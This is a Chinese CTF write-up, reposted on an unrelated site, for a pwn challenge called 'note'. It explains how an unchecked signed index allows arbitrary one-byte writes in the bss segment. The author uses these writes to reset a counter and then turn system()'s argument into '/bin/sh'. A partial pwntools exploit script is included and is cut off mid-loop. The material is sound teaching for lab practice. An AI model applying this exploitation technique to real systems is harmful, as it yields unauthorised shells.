ZGCTF |
您所在的位置:网站首页 › rop怎么读音 › ZGCTF |
这是一道很简单的的题,甚至都说不出来它有什么考点,如果非要说的话,可能需要对ida、gdb、栈不那么陌生吧。 查看保护 IDA静态分析主函数是一个菜单,通过4008e3函数读入选项。 这个函数允许修改602120指定一字节的内容,并且只能执行两次。这是说正常情况下,仔细观察可以发现,v3为有符号整数,并且对于它的值也没有检查,也就是说我们可以利用这个漏洞更改任意位置的值。 说只能修改两次是因为这里存在一个计数器,在main函数的开头调用了400837把它赋值为1,也就是这个602150。 这个函数允许向602120输入最大0x30个字节的内容 最后这个函数调用了system为我们打印了当前时间。 解题思路先说一下我当时的解题思路,首先程序是不存在栈溢出的,而且开了canary,rop是不可能了。程序可以主动执行system函数,但是参数没什么用,由于存在一个函数可以让我任意修改bss段,就想到了先修改计数器,多次进行单字节修改,直到把system的data参数完全改为/bin/sh,再调用system去getshell。 EXP from tools import * p,elf,libc=load('note') context.log_level="debug" #debug(p,0x04009F1) #payload=b'9'#str(0x30).encode()=b'48'-->b'48\n'##b'0x30'-->b'0x30\n'## #修改计数器,达到多次进行任意地址写的目的 p.sendlineafter("please tell me you options>>\n",str(2)) p.sendlineafter("please enter the location you want to modify\n",b'49') p.sendafter("please enter what yo uare modifying\n",b'9') #自定义一个函数,配合循环来一字节一字节地修改data为binsh def atk(a,b): p.sendlineafter("please tell me you options>>\n",str(2)) p.sendlineafter("please enter the location you want to modify\n",str(a)) p.sendafter("please enter what yo uare modifying\n",str(b)) j="/bin/sh"; c=0; i=-160 #这个160是602120和system参数的地址也就是602080之间的差值 while c |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |